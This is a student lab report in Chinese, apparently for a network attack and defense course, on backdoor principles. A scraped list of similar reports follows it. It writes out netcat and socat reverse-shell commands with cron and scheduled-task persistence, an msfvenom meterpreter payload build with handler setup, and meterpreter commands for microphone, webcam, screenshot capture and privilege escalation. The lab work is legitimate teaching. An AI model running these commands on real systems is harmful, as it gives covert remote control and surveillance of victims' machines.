Exp2 后门原理与实践 20154317

       实验二:后门原理与实践

实验要求:

  • 使用netcat获取主机操作Shell,cron启动。
  • 使用socat获取主机操作Shell, 任务计划启动。
  • 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机
  • 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

实验目的:

学习后门程序的原理,并自己动手实践,在实践中学习。

实验内容:

 win获得Linux的shell

在win系统里使用cmd,使用ipconfig命令获取win的ip地址(192.168.159.137)

win等待监听端口4317,Linux系统反弹连接

首先要处于html路径下才能使用nc命令

此时已经获取了Linux的shell可以在win系统输入命令控制Linux

Linux下获取win的shell

和上一步操作十分类似只是主客体的变化以及命令的细微差距,都是实验netcat工具来完成。

获取Linuxip地址:192.168.159.134

win反弹连接,Linux获得shell

使用netcat获取主机shell,cron启动:

首先在win下启动cmd,对4317端口使用netcat进行监听(netcat.exe -l -e 4317)

这里需要使用Linux下的crontab,需要对其进行编辑,使用crontab -e 语句选择编译器进行编辑

对crontab的编辑操作和使用vi命令相似,有两种操作模式,编辑模式和命令模式,我们这里只需要把最后一行

进行编辑即可,推荐编辑成* * * * */bin/netcat 192.168.159.137 4317 -e /bin/sh 即每分钟都会自动启动。

这时候就可以在win下cmd键入指令控制Linux。

使用socat获取主机shell,任务计划启动

在win下搜索任务计划,新增任务计划对其进行编辑,首先编辑触发器,将开始任务选项选为工作站锁定时,

然后进行操作编辑,操作选择启动程序,并将路径选择socat.exe,并添加参数 tcp-listen:4317;exec:cmd.exe,pty,stderr

最后在任务计划程序中运行起此任务。

Linux下使用socat进行连接即可

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

首先生成后门程序,在Linux下使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.15.132 LPORT=4312 -f exe > 20154312_backdoor.exe语句。

在通过netcat进行传输文件。

Linux下

win下

Linux下使用msfconsole语句进入msf控制台,使用监听模块,并配置ip和端口地址。

使用use exploit/multi/handler和 set payload windows/meterpreter/reverse_tcp进入payload设置。

然后使用show option查看设置,使用set LHOST LPORT来修改ip和端口。ip和端口应该为攻击机的ip和端口号。

最后执行监听

在win系统运行后门程序。

此时就已经取得了win的shell,我们就可以使用meterpreter的语句来进行操作了!

 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

record_mic获取音频

webcam_snap使用摄像头拍照,但是出现了731错误,经多方查询还未解决

screenshot截屏

getuid查看当前用户,getsystem来提权。

实验总结:、

这次实验很有趣,有一种自己在做黑客入侵别人的电脑一样,很新奇,实验按照老师的指导书以及同学的帮助,慢慢做完,

整体对后门程序有了深刻的理解,唯一难解的问题就是在操作摄像头拍照时出现的问题不知道如何解决,很是苦恼,其他

部分只要理解了就不算特别困难,毕竟前人栽树,我做为后人只不过是在树下乘凉罢了。

原文地址:https://www.cnblogs.com/20154317wuhan/p/8673110.html

时间: 2024-10-14 21:25:58

Exp2 后门原理与实践 20154317的相关文章

20145331魏澍琛《网络对抗》Exp2 后门原理与实践

20145331魏澍琛<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 上网时候弹出一个广告说你中奖了,或者你可以贷款10万元之类的,你一激动一点进去后门就进入你的系统了. (2)例举你知道的后门如何启动起来(win及linux)的方式? 比如下载一个游戏,下下来你会发现除了游戏快捷方式还有什么游戏大厅.游戏加速,或者什么最新的网页游戏(传奇狂暴版),你一好奇一点进去后门就启动了. (3)Meterpreter有哪些给你映像深刻的功能?

20145317彭垚《网络对抗》Exp2 后门原理与实践

20145317彭垚<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中: 例举你知道的后门如何启动起来(win及linux)的方式? Windows下在控制面板的管理工具中可以设置任务计划启动,或者通过修改注册表来达到自启的目的: 对后门程序进行伪装,例如重命名成某个游戏的开始程序之类的,诱骗用户点击启动: Linux下可以通过cron来启动. Meterpreter有哪些给你映像深刻的

Exp2 后门原理与实践(未完待续)

Exp2 后门原理与实践 实验环境 攻击机 kali 4.14(64位) (IP: 10.0.2.6/24) 靶机 ubuntu 16.04(32位) (IP: 10.0.2.4/24) windows 7 sp1(64位) (IP: 10.0.2.7/24) nc/ncat的使用 nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的"瑞士军刀"的美誉.nc的实现版本大致有两种,一种是带有-e或-c 选项可以直接给出执行命令,另一种不支持-e选

20155321 《网络攻防》 Exp2 后门原理与实践

20155321 <网络攻防> Exp2 后门原理与实践 实验内容 例举你能想到的一个后门进入到你系统中的可能方式? 我觉得人们在平时上网的时候可能会无意识地点击到一些恶意的网站,这些网站本身可能被黑客植入了木马程序,这些程序可能会随着人们下载到本地而有机会进入到系统中. 例举你知道的后门如何启动起来(win及linux)的方式? 我所知道的是可能是黑客通过远程控制的办法是输入命令使后门程序启动起来. Meterpreter有哪些给你映像深刻的功能? 让我印象比较深刻的是可以通过后门控制摄像头

20154322 杨钦涵 Exp2 后门原理与实践

Exp2 后门原理与实践Exp2 后门原理与实践 一.基础问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 从网上下载软件时,可能会下载到其它附带捆绑软件,而这些软件可能就有后门程序.在安装时,便一起安装了. 2.例举你知道的后门如何启动起来(win及linux)的方式? ①自己不小心点击运行了后门程序: ②篡改了注册表,将其设为开机自动运行: ③被控端被设置了cron启动,定时循环启动: 3.Meterpreter有哪些给你映像深刻的功能? 必须是截取摄像头!像是随时有双背后的眼

20155312 张竞予 Exp2 后门原理与实践

Exp2 后门原理与实践 目录 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? (2)例举你知道的后门如何启动起来(win及linux)的方式? (3)Meterpreter有哪些给你映像深刻的功能? (4)如何发现自己有系统有没有被安装后门? 实验总结与体会 实践过程记录 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, 任务计划启动 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到

20155338《网络对抗》Exp2 后门原理与实践

20155338<网络对抗>Exp2 后门原理与实践 一. 基础问题 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:游览网站中附带的广告或弹出的不正规软件. (2)例举你知道的后门如何启动起来(win及linux)的方式? 答:1.操作系统自带服务: 2.网络协议捆绑: 3.软件编写者制作: 4.漏洞攻击后放置: (3)Meterpreter有哪些给你映像深刻的功能 答:录屏,提升权限和录音. (4)如何发现自己有系统有没有被安装后门 答:用网络命令来看计算机所连接的设备有没有陌

2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践

2018-2019-2 20165212<网络对抗技术>Exp2 后门原理与实践 1.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频.摄像头.击键记录等内容,并尝试提权 (5)可选加分内容:使用MSF生成she

2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践

2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践 后门的基本概念及实验内容 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Meterpreter 实验内容 任务一:使用netcat获取主机操作Shell,cron启动 任务二:使用socat获取主机操作Shell, 任务计划启动 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell 任务四